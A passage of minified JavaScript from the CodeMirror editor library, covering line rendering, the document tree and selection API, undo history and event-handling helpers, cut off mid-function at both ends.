gi[gk]||(gi[gk]=gk.replace(/\S+/g,"cm-$&"))}function eS(gj,gn){var go=f3("span",null,null,c1?"padding-right: .1px":null);var gl={pre:f3("pre",[go]),content:go,col:0,pos:0,cm:gj,splitSpaces:(dL||c1)&&gj.getOption("lineWrapping")};gn.measure={};for(var gm=0;gm<=(gn.rest?gn.rest.length:0);gm++){var gk=gm?gn.rest[gm-1]:gn.line,gi;gl.pos=0;gl.addToken=t;if(bP(gj.display.measure)&&(gi=a(gk))){gl.addToken=U(gl.addToken,gi)}gl.map=[];var gp=gn!=gj.display.externalMeasured&&bO(gk);bp(gk,gl,c7(gj,gk,gp));if(gk.styleClasses){if(gk.styleClasses.bgClass){gl.bgClass=fT(gk.styleClasses.bgClass,gl.bgClass||"")}if(gk.styleClasses.textClass){gl.textClass=fT(gk.styleClasses.textClass,gl.textClass||"")}}if(gl.map.length==0){gl.map.push(0,0,gl.content.appendChild(bo(gj.display.measure)))}if(gm==0){gn.measure.map=gl.map;gn.measure.cache={}}else{(gn.measure.maps||(gn.measure.maps=[])).push(gl.map);(gn.measure.caches||(gn.measure.caches=[])).push({})}}if(c1&&/\bcm-tab\b/.test(gl.content.lastChild.className)){gl.content.className="cm-tab-wrap-hack"}aE(gj,"renderLine",gj,gn.line,gl.pre);if(gl.pre.className){gl.textClass=fT(gl.pre.className,gl.textClass||"")}return gl}function fd(gj){var gi=f3("span","\u2022","cm-invalidchar");gi.title="\\u"+gj.charCodeAt(0).toString(16);gi.setAttribute("aria-label",gi.title);return gi}function t(gt,go,gy,gv,gr,gA,gn){if(!go){return}var gx=gt.splitSpaces?go.replace(/ {3,}/g,cG):go;var gi=gt.cm.state.specialChars,gj=false;if(!gi.test(go)){gt.col+=go.length;var gw=document.createTextNode(gx);gt.map.push(gt.pos,gt.pos+go.length,gw);if(dL&&k<9){gj=true}gt.pos+=go.length}else{var gw=document.createDocumentFragment(),gl=0;while(true){gi.lastIndex=gl;var gu=gi.exec(go);var gz=gu?gu.index-gl:go.length-gl;if(gz){var gq=document.createTextNode(gx.slice(gl,gl+gz));if(dL&&k<9){gw.appendChild(f3("span",[gq]))}else{gw.appendChild(gq)}gt.map.push(gt.pos,gt.pos+gz,gq);gt.col+=gz;gt.pos+=gz}if(!gu){break}gl+=gz+1;if(gu[0]=="\t"){var gs=gt.cm.options.tabSize,gp=gs-gt.col%gs;var gq=gw.appendChild(f3("span",cq(gp),"cm-tab"));gq.setAttribute("role","presentation");gq.setAttribute("cm-text","\t");gt.col+=gp}else{var gq=gt.cm.options.specialCharPlaceholder(gu[0]);gq.setAttribute("cm-text",gu[0]);if(dL&&k<9){gw.appendChild(f3("span",[gq]))}else{gw.appendChild(gq)}gt.col+=1}gt.map.push(gt.pos,gt.pos+1,gq);gt.pos++}}if(gy||gv||gr||gj||gn){var gk=gy||"";if(gv){gk+=gv}if(gr){gk+=gr}var gm=f3("span",[gw],gk,gn);if(gA){gm.title=gA}return gt.content.appendChild(gm)}gt.content.appendChild(gw)}function cG(gi){var gj=" ";for(var gk=0;gk<gi.length-2;++gk){gj+=gk%2?" ":"\u00a0"}gj+=" ";return gj}function U(gj,gi){return function(gr,gt,gk,go,gu,gs,gq){gk=gk?gk+" cm-force-border":"cm-force-border";var gl=gr.pos,gn=gl+gt.length;for(;;){for(var gp=0;gp<gi.length;gp++){var gm=gi[gp];if(gm.to>gl&&gm.from<=gl){break}}if(gm.to>=gn){return gj(gr,gt,gk,go,gu,gs,gq)}gj(gr,gt.slice(0,gm.to-gl),gk,go,null,gs,gq);go=null;gt=gt.slice(gm.to-gl);gl=gm.to}}}function ac(gj,gl,gi,gk){var gm=!gk&&gi.widgetNode;if(gm){gj.map.push(gj.pos,gj.pos+gl,gm)}if(!gk&&gj.cm.display.input.needsContentAttribute){if(!gm){gm=gj.content.appendChild(document.createElement("span"))}gm.setAttribute("cm-marker",gi.id)}if(gm){gj.cm.display.input.setUneditable(gm);gj.content.appendChild(gm)}gj.pos+=gl}function bp(gr,gy,gq){var gn=gr.markedSpans,gp=gr.text,gw=0;if(!gn){for(var gB=1;gB<gq.length;gB+=2){gy.addToken(gy,gp.slice(gw,gw=gq[gB]),eX(gq[gB+1],gy.cm.options))}return}var gC=gp.length,gm=0,gB=1,gu="",gD,gs;var gF=0,gi,gE,gv,gG,gk;for(;;){if(gF==gm){gi=gE=gv=gG=gs="";gk=null;gF=Infinity;var go=[];for(var gz=0;gz<gn.length;++gz){var gA=gn[gz],gx=gA.marker;if(gx.type=="bookmark"&&gA.from==gm&&gx.widgetNode){go.push(gx)}else{if(gA.from<=gm&&(gA.to==null||gA.to>gm||gx.collapsed&&gA.to==gm&&gA.from==gm)){if(gA.to!=null&&gA.to!=gm&&gF>gA.to){gF=gA.to;gE=""}if(gx.className){gi+=" "+gx.className}if(gx.css){gs=gx.css}if(gx.startStyle&&gA.from==gm){gv+=" "+gx.startStyle}if(gx.endStyle&&gA.to==gF){gE+=" "+gx.endStyle}if(gx.title&&!gG){gG=gx.title}if(gx.collapsed&&(!gk||dR(gk.marker,gx)<0)){gk=gA}}else{if(gA.from>gm&&gF>gA.from){gF=gA.from}}}}if(gk&&(gk.from||0)==gm){ac(gy,(gk.to==null?gC+1:gk.to)-gm,gk.marker,gk.from==null);if(gk.to==null){return}if(gk.to==gm){gk=false}}if(!gk&&go.length){for(var gz=0;gz<go.length;++gz){ac(gy,0,go[gz])}}}if(gm>=gC){break}var gt=Math.min(gC,gF);while(true){if(gu){var gj=gm+gu.length;if(!gk){var gl=gj>gt?gu.slice(0,gt-gm):gu;gy.addToken(gy,gl,gD?gD+gi:gi,gv,gm+gl.length==gF?gE:"",gG,gs)}if(gj>=gt){gu=gu.slice(gt-gm);gm=gt;break}gm=gj;gv=""}gu=gp.slice(gw,gw=gq[gB++]);gD=eX(gq[gB++],gy.cm.options)}}}function dT(gi,gj){return gj.from.ch==0&&gj.to.ch==0&&fH(gj.text)==""&&(!gi.cm||gi.cm.options.wholeLineUpdateBefore)}function fz(gv,gq,gj,gm){function gw(gy){return gj?gj[gy]:null}function gk(gy,gA,gz){en(gy,gA,gz,gm);ae(gy,"change",gy,gq)}function gi(gB,gz){for(var gA=gB,gy=[];gA<gz;++gA){gy.push(new f7(gx[gA],gw(gA),gm))}return gy}var gu=gq.from,gt=gq.to,gx=gq.text;var gr=fg(gv,gu.line),gs=fg(gv,gt.line);var gp=fH(gx),gl=gw(gx.length-1),go=gt.line-gu.line;if(gq.full){gv.insert(0,gi(0,gx.length));gv.remove(gx.length,gv.size-gx.length)}else{if(dT(gv,gq)){var gn=gi(0,gx.length-1);gk(gs,gs.text,gl);if(go){gv.remove(gu.line,go)}if(gn.length){gv.insert(gu.line,gn)}}else{if(gr==gs){if(gx.length==1){gk(gr,gr.text.slice(0,gu.ch)+gp+gr.text.slice(gt.ch),gl)}else{var gn=gi(1,gx.length-1);gn.push(new f7(gp+gr.text.slice(gt.ch),gl,gm));gk(gr,gr.text.slice(0,gu.ch)+gx[0],gw(0));gv.insert(gu.line+1,gn)}}else{if(gx.length==1){gk(gr,gr.text.slice(0,gu.ch)+gx[0]+gs.text.slice(gt.ch),gw(0));gv.remove(gu.line+1,go)}else{gk(gr,gr.text.slice(0,gu.ch)+gx[0],gw(0));gk(gs,gp+gs.text.slice(gt.ch),gl);var gn=gi(1,gx.length-1);if(go>1){gv.remove(gu.line+1,go-1)}gv.insert(gu.line+1,gn)}}}}ae(gv,"change",gv,gq)}function e0(gj){this.lines=gj;this.parent=null;for(var gk=0,gi=0;gk<gj.length;++gk){gj[gk].parent=this;gi+=gj[gk].height}this.height=gi}e0.prototype={chunkSize:function(){return this.lines.length},removeInner:function(gi,gm){for(var gk=gi,gl=gi+gm;gk<gl;++gk){var gj=this.lines[gk];this.height-=gj.height;bC(gj);ae(gj,"delete")}this.lines.splice(gi,gm)},collapse:function(gi){gi.push.apply(gi,this.lines)},insertInner:function(gj,gk,gi){this.height+=gi;this.lines=this.lines.slice(0,gj).concat(gk).concat(this.lines.slice(gj));for(var gl=0;gl<gk.length;++gl){gk[gl].parent=this}},iterN:function(gi,gl,gk){for(var gj=gi+gl;gi<gj;++gi){if(gk(this.lines[gi])){return true}}}};function fy(gl){this.children=gl;var gk=0,gi=0;for(var gj=0;gj<gl.length;++gj){var gm=gl[gj];gk+=gm.chunkSize();gi+=gm.height;gm.parent=this}this.size=gk;this.height=gi;this.parent=null}fy.prototype={chunkSize:function(){return this.size},removeInner:function(gi,gp){this.size-=gp;for(var gk=0;gk<this.children.length;++gk){var go=this.children[gk],gm=go.chunkSize();if(gi<gm){var gl=Math.min(gp,gm-gi),gn=go.height;go.removeInner(gi,gl);this.height-=gn-go.height;if(gm==gl){this.children.splice(gk--,1);go.parent=null}if((gp-=gl)==0){break}gi=0}else{gi-=gm}}if(this.size-gp<25&&(this.children.length>1||!(this.children[0] instanceof e0))){var gj=[];this.collapse(gj);this.children=[new e0(gj)];this.children[0].parent=this}},collapse:function(gi){for(var gj=0;gj<this.children.length;++gj){this.children[gj].collapse(gi)}},insertInner:function(gj,gk,gi){this.size+=gk.length;this.height+=gi;for(var gn=0;gn<this.children.length;++gn){var gp=this.children[gn],go=gp.chunkSize();if(gj<=go){gp.insertInner(gj,gk,gi);if(gp.lines&&gp.lines.length>50){while(gp.lines.length>50){var gm=gp.lines.splice(gp.lines.length-25,25);var gl=new e0(gm);gp.height-=gl.height;this.children.splice(gn+1,0,gl);gl.parent=this}this.maybeSpill()}break}gj-=go}},maybeSpill:function(){if(this.children.length<=10){return}var gl=this;do{var gj=gl.children.splice(gl.children.length-5,5);var gk=new fy(gj);if(!gl.parent){var gm=new fy(gl.children);gm.parent=gl;gl.children=[gm,gk];gl=gm}else{gl.size-=gk.size;gl.height-=gk.height;var gi=di(gl.parent.children,gl);gl.parent.children.splice(gi+1,0,gk)}gk.parent=gl.parent}while(gl.children.length>10);gl.parent.maybeSpill()},iterN:function(gi,go,gn){for(var gj=0;gj<this.children.length;++gj){var gm=this.children[gj],gl=gm.chunkSize();if(gi<gl){var gk=Math.min(go,gl-gi);if(gm.iterN(gi,gk,gn)){return true}if((go-=gk)==0){break}gi=0}else{gi-=gl}}}};var cs=0;var at=H.Doc=function(gk,gj,gi){if(!(this instanceof at)){return new at(gk,gj,gi)}if(gi==null){gi=0}fy.call(this,[new e0([new f7("",null)])]);this.first=gi;this.scrollTop=this.scrollLeft=0;this.cantEdit=false;this.cleanGeneration=1;this.frontier=gi;var gl=W(gi,0);this.sel=eT(gl);this.history=new fU(null);this.id=++cs;this.modeOption=gj;if(typeof gk=="string"){gk=a1(gk)}fz(this,{from:gl,to:gl,text:gk});bV(this,eT(gl),Z)};at.prototype=cl(fy.prototype,{constructor:at,iter:function(gk,gj,gi){if(gi){this.iterN(gk-this.first,gj-gk,gi)}else{this.iterN(this.first,this.first+this.size,gk)}},insert:function(gj,gk){var gi=0;for(var gl=0;gl<gk.length;++gl){gi+=gk[gl].height}this.insertInner(gj-this.first,gk,gi)},remove:function(gi,gj){this.removeInner(gi-this.first,gj)},getValue:function(gj){var gi=a3(this,this.first,this.first+this.size);if(gj===false){return gi}return gi.join(gj||"\n")},setValue:cE(function(gj){var gk=W(this.first,0),gi=this.first+this.size-1;bh(this,{from:gk,to:W(gi,fg(this,gi).text.length),text:a1(gj),origin:"setValue",full:true},true);bV(this,eT(gk))}),replaceRange:function(gj,gl,gk,gi){gl=fK(this,gl);gk=gk?fK(this,gk):gl;a2(this,gj,gl,gk,gi)},getRange:function(gl,gk,gj){var gi=f5(this,fK(this,gl),fK(this,gk));if(gj===false){return gi}return gi.join(gj||"\n")},getLine:function(gj){var gi=this.getLineHandle(gj);return gi&&gi.text},getLineHandle:function(gi){if(ca(this,gi)){return fg(this,gi)}},getLineNumber:function(gi){return bO(gi)},getLineHandleVisualStart:function(gi){if(typeof gi=="number"){gi=fg(this,gi)}return y(gi)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(gi){return fK(this,gi)},getCursor:function(gk){var gi=this.sel.primary(),gj;if(gk==null||gk=="head"){gj=gi.head}else{if(gk=="anchor"){gj=gi.anchor}else{if(gk=="end"||gk=="to"||gk===false){gj=gi.to()}else{gj=gi.from()}}}return gj},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:cE(function(gi,gk,gj){F(this,fK(this,typeof gi=="number"?W(gi,gk||0):gi),null,gj)}),setSelection:cE(function(gj,gk,gi){F(this,fK(this,gj),fK(this,gk||gj),gi)}),extendSelection:cE(function(gk,gi,gj){fX(this,fK(this,gk),gi&&fK(this,gi),gj)}),extendSelections:cE(function(gj,gi){aw(this,d1(this,gj,gi))}),extendSelectionsBy:cE(function(gj,gi){aw(this,bT(this.sel.ranges,gj),gi)}),setSelections:cE(function(gi,gm,gk){if(!gi.length){return}for(var gl=0,gj=[];gl<gi.length;gl++){gj[gl]=new dZ(fK(this,gi[gl].anchor),fK(this,gi[gl].head))}if(gm==null){gm=Math.min(gi.length-1,this.sel.primIndex)}bV(this,cx(gj,gm),gk)}),addSelection:cE(function(gk,gl,gj){var gi=this.sel.ranges.slice(0);gi.push(new dZ(fK(this,gk),fK(this,gl||gk)));bV(this,cx(gi,gi.length-1),gj)}),getSelection:function(gm){var gj=this.sel.ranges,gi;for(var gk=0;gk<gj.length;gk++){var gl=f5(this,gj[gk].from(),gj[gk].to());gi=gi?gi.concat(gl):gl}if(gm===false){return gi}else{return gi.join(gm||"\n")}},getSelections:function(gm){var gl=[],gi=this.sel.ranges;for(var gj=0;gj<gi.length;gj++){var gk=f5(this,gi[gj].from(),gi[gj].to());if(gm!==false){gk=gk.join(gm||"\n")}gl[gj]=gk}return gl},replaceSelection:function(gk,gm,gi){var gl=[];for(var gj=0;gj<this.sel.ranges.length;gj++){gl[gj]=gk}this.replaceSelections(gl,gm,gi||"+input")},replaceSelections:cE(function(gn,gp,gk){var gm=[],go=this.sel;for(var gl=0;gl<go.ranges.length;gl++){var gj=go.ranges[gl];gm[gl]={from:gj.from(),to:gj.to(),text:a1(gn[gl]),origin:gk}}var gi=gp&&gp!="end"&&af(this,gm,gp);for(var gl=gm.length-1;gl>=0;gl--){bh(this,gm[gl])}if(gi){e8(this,gi)}else{if(this.cm){fG(this.cm)}}}),undo:cE(function(){b9(this,"undo")}),redo:cE(function(){b9(this,"redo")}),undoSelection:cE(function(){b9(this,"undo",true)}),redoSelection:cE(function(){b9(this,"redo",true)}),setExtending:function(gi){this.extend=gi},getExtending:function(){return this.extend},historySize:function(){var gl=this.history,gi=0,gk=0;for(var gj=0;gj<gl.done.length;gj++){if(!gl.done[gj].ranges){++gi}}for(var gj=0;gj<gl.undone.length;gj++){if(!gl.undone[gj].ranges){++gk}}return{undo:gi,redo:gk}},clearHistory:function(){this.history=new fU(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(true)},changeGeneration:function(gi){if(gi){this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null}return this.history.generation},isClean:function(gi){return this.history.generation==(gi||this.cleanGeneration)},getHistory:function(){return{done:bQ(this.history.done),undone:bQ(this.history.undone)}},setHistory:function(gj){var gi=this.history=new fU(this.history.maxGeneration);gi.done=bQ(gj.done.slice(0),null,true);gi.undone=bQ(gj.undone.slice(0),null,true)},addLineClass:cE(function(gk,gj,gi){return eA(this,gk,gj=="gutter"?"gutter":"class",function(gl){var gm=gj=="text"?"textClass":gj=="background"?"bgClass":gj=="gutter"?"gutterClass":"wrapClass";if(!gl[gm]){gl[gm]=gi}else{if(S(gi).test(gl[gm])){return false}else{gl[gm]+=" "+gi}}return true})}),removeLineClass:cE(function(gk,gj,gi){return eA(this,gk,gj=="gutter"?"gutter":"class",function(gm){var gp=gj=="text"?"textClass":gj=="background"?"bgClass":gj=="gutter"?"gutterClass":"wrapClass";var go=gm[gp];if(!go){return false}else{if(gi==null){gm[gp]=null}else{var gn=go.match(S(gi));if(!gn){return false}var gl=gn.index+gn[0].length;gm[gp]=go.slice(0,gn.index)+(!gn.index||gl==go.length?"":" ")+go.slice(gl)||null}}return true})}),addLineWidget:cE(function(gk,gj,gi){return bI(this,gk,gj,gi)}),removeLineWidget:function(gi){gi.clear()},markText:function(gk,gj,gi){return eG(this,fK(this,gk),fK(this,gj),gi,"range")},setBookmark:function(gk,gi){var gj={replacedWith:gi&&(gi.nodeType==null?gi.widget:gi),insertLeft:gi&&gi.insertLeft,clearWhenEmpty:false,shared:gi&&gi.shared,handleMouseEvents:gi&&gi.handleMouseEvents};gk=fK(this,gk);return eG(this,gk,gk,gj,"bookmark")},findMarksAt:function(gm){gm=fK(this,gm);var gl=[],gj=fg(this,gm.line).markedSpans;if(gj){for(var gi=0;gi<gj.length;++gi){var gk=gj[gi];if((gk.from==null||gk.from<=gm.ch)&&(gk.to==null||gk.to>=gm.ch)){gl.push(gk.marker.parent||gk.marker)}}}return gl},findMarks:function(gm,gl,gi){gm=fK(this,gm);gl=fK(this,gl);var gj=[],gk=gm.line;this.iter(gm.line,gl.line+1,function(gn){var gp=gn.markedSpans;if(gp){for(var go=0;go<gp.length;go++){var gq=gp[go];if(!(gk==gm.line&&gm.ch>gq.to||gq.from==null&&gk!=gm.line||gk==gl.line&&gq.from>gl.ch)&&(!gi||gi(gq.marker))){gj.push(gq.marker.parent||gq.marker)}}}++gk});return gj},getAllMarks:function(){var gi=[];this.iter(function(gk){var gj=gk.markedSpans;if(gj){for(var gl=0;gl<gj.length;++gl){if(gj[gl].from!=null){gi.push(gj[gl].marker)}}}});return gi},posFromIndex:function(gj){var gi,gk=this.first;this.iter(function(gl){var gm=gl.text.length+1;if(gm>gj){gi=gj;return true}gj-=gm;++gk});return fK(this,W(gk,gi))},indexFromPos:function(gj){gj=fK(this,gj);var gi=gj.ch;if(gj.line<this.first||gj.ch<0){return 0}this.iter(this.first,gj.line,function(gk){gi+=gk.text.length+1});return gi},copy:function(gi){var gj=new at(a3(this,this.first,this.first+this.size),this.modeOption,this.first);gj.scrollTop=this.scrollTop;gj.scrollLeft=this.scrollLeft;gj.sel=this.sel;gj.extend=false;if(gi){gj.history.undoDepth=this.history.undoDepth;gj.setHistory(this.getHistory())}return gj},linkedDoc:function(gi){if(!gi){gi={}}var gl=this.first,gk=this.first+this.size;if(gi.from!=null&&gi.from>gl){gl=gi.from}if(gi.to!=null&&gi.to<gk){gk=gi.to}var gj=new at(a3(this,gl,gk),gi.mode||this.modeOption,gl);if(gi.sharedHist){gj.history=this.history}(this.linked||(this.linked=[])).push({doc:gj,sharedHist:gi.sharedHist});gj.linked=[{doc:this,isParent:true,sharedHist:gi.sharedHist}];dG(gj,eQ(this));return gj},unlinkDoc:function(gj){if(gj instanceof H){gj=gj.doc}if(this.linked){for(var gk=0;gk<this.linked.length;++gk){var gl=this.linked[gk];if(gl.doc!=gj){continue}this.linked.splice(gk,1);gj.unlinkDoc(this);ep(eQ(this));break}}if(gj.history==this.history){var gi=[gj.id];d8(gj,function(gm){gi.push(gm.id)},true);gj.history=new fU(null);gj.history.done=bQ(this.history.done,gi);gj.history.undone=bQ(this.history.undone,gi)}},iterLinkedDocs:function(gi){d8(this,gi)},getMode:function(){return this.mode},getEditor:function(){return this.cm}});at.prototype.eachLine=at.prototype.iter;var d="iter insert remove copy getEditor constructor".split(" ");for(var bL in at.prototype){if(at.prototype.hasOwnProperty(bL)&&di(d,bL)<0){H.prototype[bL]=(function(gi){return function(){return gi.apply(this.doc,arguments)}})(at.prototype[bL])}}bz(at);function d8(gl,gk,gj){function gi(gr,gp,gn){if(gr.linked){for(var go=0;go<gr.linked.length;++go){var gm=gr.linked[go];if(gm.doc==gp){continue}var gq=gn&&gm.sharedHist;if(gj&&!gq){continue}gk(gm.doc,gq);gi(gm.doc,gr,gq)}}}gi(gl,null,true)}function ec(gi,gj){if(gj.cm){throw new Error("This document is already in use.")}gi.doc=gj;gj.cm=gi;X(gi);bs(gi);if(!gi.options.lineWrapping){h(gi)}gi.options.mode=gj.modeOption;ah(gi)}function fg(gl,gn){gn-=gl.first;if(gn<0||gn>=gl.size){throw new Error("There is no line "+(gn+gl.first)+" in the document.")}for(var gi=gl;!gi.lines;){for(var gj=0;;++gj){var gm=gi.children[gj],gk=gm.chunkSize();if(gn<gk){gi=gm;break}gn-=gk}}return gi.lines[gn]}function f5(gk,gm,gi){var gj=[],gl=gm.line;gk.iter(gm.line,gi.line+1,function(gn){var go=gn.text;if(gl==gi.line){go=go.slice(0,gi.ch)}if(gl==gm.line){go=go.slice(gm.ch)}gj.push(go);++gl});return gj}function a3(gj,gl,gk){var gi=[];gj.iter(gl,gk,function(gm){gi.push(gm.text)});return gi}function f6(gj,gi){var gk=gi-gj.height;if(gk){for(var gl=gj;gl;gl=gl.parent){gl.height+=gk}}}function bO(gi){if(gi.parent==null){return null}var gm=gi.parent,gl=di(gm.lines,gi);for(var gj=gm.parent;gj;gm=gj,gj=gj.parent){for(var gk=0;;++gk){if(gj.children[gk]==gm){break}gl+=gj.children[gk].chunkSize()}}return gl+gm.first}function bH(gk,gn){var gp=gk.first;outer:do{for(var gl=0;gl<gk.children.length;++gl){var go=gk.children[gl],gm=go.height;if(gn<gm){gk=go;continue outer}gn-=gm;gp+=go.chunkSize()}return gp}while(!gk.lines);for(var gl=0;gl<gk.lines.length;++gl){var gj=gk.lines[gl],gi=gj.height;if(gn<gi){break}gn-=gi}return gp+gl}function bN(gk){gk=y(gk);var gm=0,gj=gk.parent;for(var gl=0;gl<gj.lines.length;++gl){var gi=gj.lines[gl];if(gi==gk){break}else{gm+=gi.height}}for(var gn=gj.parent;gn;gj=gn,gn=gj.parent){for(var gl=0;gl<gn.children.length;++gl){var go=gn.children[gl];if(go==gj){break}else{gm+=go.height}}}return gm}function a(gj){var gi=gj.order;if(gi==null){gi=gj.order=bi(gj.text)}return gi}function fU(gi){this.done=[];this.undone=[];this.undoDepth=Infinity;this.lastModTime=this.lastSelTime=0;this.lastOp=this.lastSelOp=null;this.lastOrigin=this.lastSelOrigin=null;this.generation=this.maxGeneration=gi||1}function dv(gi,gk){var gj={from:cj(gk.from),to:cY(gk),text:f5(gi,gk.from,gk.to)};bZ(gi,gj,gk.from.line,gk.to.line+1);d8(gi,function(gl){bZ(gl,gj,gk.from.line,gk.to.line+1)},true);return gj}function fC(gj){while(gj.length){var gi=fH(gj);if(gi.ranges){gj.pop()}else{break}}}function eN(gj,gi){if(gi){fC(gj.done);return fH(gj.done)}else{if(gj.done.length&&!fH(gj.done).ranges){return fH(gj.done)}else{if(gj.done.length>1&&!gj.done[gj.done.length-2].ranges){gj.done.pop();return fH(gj.done)}}}}function fN(go,gm,gi,gl){var gk=go.history;gk.undone.length=0;var gj=+new Date,gp;if((gk.lastOp==gl||gk.lastOrigin==gm.origin&&gm.origin&&((gm.origin.charAt(0)=="+"&&go.cm&&gk.lastModTime>gj-go.cm.options.historyEventDelay)||gm.origin.charAt(0)=="*"))&&(gp=eN(gk,gk.lastOp==gl))){var gq=fH(gp.changes);if(cg(gm.from,gm.to)==0&&cg(gm.from,gq.to)==0){gq.to=cY(gm)}else{gp.changes.push(dv(go,gm))}}else{var gn=fH(gk.done);if(!gn||!gn.ranges){cO(go.sel,gk.done)}gp={changes:[dv(go,gm)],generation:gk.generation};gk.done.push(gp);while(gk.done.length>gk.undoDepth){gk.done.shift();if(!gk.done[0].ranges){gk.done.shift()}}}gk.done.push(gi);gk.generation=++gk.maxGeneration;gk.lastModTime=gk.lastSelTime=gj;gk.lastOp=gk.lastSelOp=gl;gk.lastOrigin=gk.lastSelOrigin=gm.origin;if(!gq){aE(go,"historyAdded")}}function bB(gm,gi,gk,gl){var gj=gi.charAt(0);return gj=="*"||gj=="+"&&gk.ranges.length==gl.ranges.length&&gk.somethingSelected()==gl.somethingSelected()&&new Date-gm.history.lastSelTime<=(gm.cm?gm.cm.options.historyEventDelay:500)}function gc(gn,gl,gi,gk){var gm=gn.history,gj=gk&&gk.origin;if(gi==gm.lastSelOp||(gj&&gm.lastSelOrigin==gj&&(gm.lastModTime==gm.lastSelTime&&gm.lastOrigin==gj||bB(gn,gj,fH(gm.done),gl)))){gm.done[gm.done.length-1]=gl}else{cO(gl,gm.done)}gm.lastSelTime=+new Date;gm.lastSelOrigin=gj;gm.lastSelOp=gi;if(gk&&gk.clearRedo!==false){fC(gm.undone)}}function cO(gj,gi){var gk=fH(gi);if(!(gk&&gk.ranges&&gk.equals(gj))){gi.push(gj)}}function bZ(gj,gn,gm,gl){var gi=gn["spans_"+gj.id],gk=0;gj.iter(Math.max(gj.first,gm),Math.min(gj.first+gj.size,gl),function(go){if(go.markedSpans){(gi||(gi=gn["spans_"+gj.id]={}))[gk]=go.markedSpans}++gk})}function bm(gk){if(!gk){return null}for(var gj=0,gi;gj<gk.length;++gj){if(gk[gj].marker.explicitlyCleared){if(!gi){gi=gk.slice(0,gj)}}else{if(gi){gi.push(gk[gj])}}}return !gi?gk:gi.length?gi:null}function b5(gl,gm){var gk=gm["spans_"+gl.id];if(!gk){return null}for(var gj=0,gi=[];gj<gm.text.length;++gj){gi.push(bm(gk[gj]))}return gi}function bQ(gt,gl,gs){for(var go=0,gj=[];go<gt.length;++go){var gk=gt[go];if(gk.ranges){gj.push(gs?f4.prototype.deepCopy.call(gk):gk);continue}var gq=gk.changes,gr=[];gj.push({changes:gr});for(var gn=0;gn<gq.length;++gn){var gp=gq[gn],gm;gr.push({from:gp.from,to:gp.to,text:gp.text});if(gl){for(var gi in gp){if(gm=gi.match(/^spans_(\d+)$/)){if(di(gl,Number(gm[1]))>-1){fH(gr)[gi]=gp[gi];delete gp[gi]}}}}}}return gj}function I(gl,gk,gj,gi){if(gj<gl.line){gl.line+=gi}else{if(gk<gl.line){gl.line=gk;gl.ch=0}}}function fi(gl,gn,go,gp){for(var gk=0;gk<gl.length;++gk){var gi=gl[gk],gm=true;if(gi.ranges){if(!gi.copied){gi=gl[gk]=gi.deepCopy();gi.copied=true}for(var gj=0;gj<gi.ranges.length;gj++){I(gi.ranges[gj].anchor,gn,go,gp);I(gi.ranges[gj].head,gn,go,gp)}continue}for(var gj=0;gj<gi.changes.length;++gj){var gq=gi.changes[gj];if(go<gq.from.line){gq.from=W(gq.from.line+gp,gq.from.ch);gq.to=W(gq.to.line+gp,gq.to.ch)}else{if(gn<=gq.to.line){gm=false;break}}}if(!gm){gl.splice(0,gk+1);gk=0}}}function dF(gj,gm){var gl=gm.from.line,gk=gm.to.line,gi=gm.text.length-(gk-gl)-1;fi(gj.done,gl,gk,gi);fi(gj.undone,gl,gk,gi)}var cH=H.e_preventDefault=function(gi){if(gi.preventDefault){gi.preventDefault()}else{gi.returnValue=false}};var dr=H.e_stopPropagation=function(gi){if(gi.stopPropagation){gi.stopPropagation()}else{gi.cancelBubble=true}};function bM(gi){return gi.defaultPrevented!=null?gi.defaultPrevented:gi.returnValue==false}var es=H.e_stop=function(gi){cH(gi);dr(gi)};function L(gi){return gi.target||gi.srcElement}function fO(gj){var gi=gj.which;if(gi==null){if(gj.button&1){gi=1}else{if(gj.button&2){gi=3}else{if(gj.button&4){gi=2}}}}if(b8&&gj.ctrlKey&&gi==1){gi=3}return gi}var bY=H.on=function(gl,gj,gk){if(gl.addEventListener){gl.addEventListener(gj,gk,false)}else{if(gl.attachEvent){gl.attachEvent("on"+gj,gk)}else{var gm=gl._handlers||(gl._handlers={});var gi=gm[gj]||(gm[gj]=[]);gi.push(gk)}}};var ee=H.off=function(gm,gk,gl){if(gm.removeEventListener){gm.removeEventListener(gk,gl,false)}else{if(gm.detachEvent){gm.detachEvent("on"+gk,gl)}else{var gi=gm._handlers&&gm._handlers[gk];if(!gi){return}for(var gj=0;gj<gi.length;++gj){if(gi[gj]==gl){gi.splice(gj,1);break}}}}};var aE=H.signal=function(gm,gl){var gi=gm._handlers&&gm._handlers[gl];if(!gi){return}var gj=Array.prototype.slice.call(arguments,2);for(var gk=0;gk<gi.length;++gk){gi[gk].apply(null,gj)}};var bA=null;function ae(go,gm){var gi=go._handlers&&go._handlers[gm];if(!gi){return}var gk=Array.prototype.slice.call(arguments,2),gn;if(bq){gn=bq.delayedCallbacks}else{if(bA){gn=bA}else{gn=bA=[];setTimeout(aM,0)}}function gj(gp){return function(){gp.apply(null,gk)}}for(var gl=0;gl<gi.length;++gl){gn.push(gj(gi[gl]))}}function aM(){var gi=bA;bA=null;for(var gj=0;gj<gi.length;++gj){gi[gj]()}}function aR(gi,gk,gj){if(typeof gk=="string"){gk={type:gk,preventDefault:function(){this.defaultPrevented=true}}}aE(gi,gj||gk.type,gi,gk);return bM(gk)||gk.codemirrorIgnore}function V(gj){var gi=gj._handlers&&gj._handlers.cursorActivity;if(!gi){return}var gl=gj.curOp.cursorActivityHandlers||(gj.curOp.cursorActivityHandlers=[]);for(var gk=0;gk<gi.length;++gk){if(di(gl,gi[gk])==-1){gl.push(gi[gk])}}}function fj(gk,gj){var gi=gk._handlers&&gk._handlers[gj];return gi&&gi.length>0}function bz(gi){gi.prototype.on=function(gj,gk){bY(this,gj,gk)};gi.prototype.off=function(gj,gk){ee(this,gj,gk)}}var dK=30;var cb=H.Pass={toString:function(){return"CodeMirror.Pass"}};var Z={scroll:false},M={origin:"*mouse"},cX={origin:"+move"};function gh(){this.id=null}gh.prototype.set=function(gi,gj){clearTimeout(this.id);this.id=setTimeout(gj,gi)};var bU=H.countColumn=function(gl,gj,gn,go,gk){if(gj==null){gj=gl.search(/[^\s\u00a0]/);if(gj==-1){gj=gl.length}}for(var gm=go||0,gp=gk||0;;){var gi=gl.indexOf("\t",gm);if(gi<0||gi>=gj){return 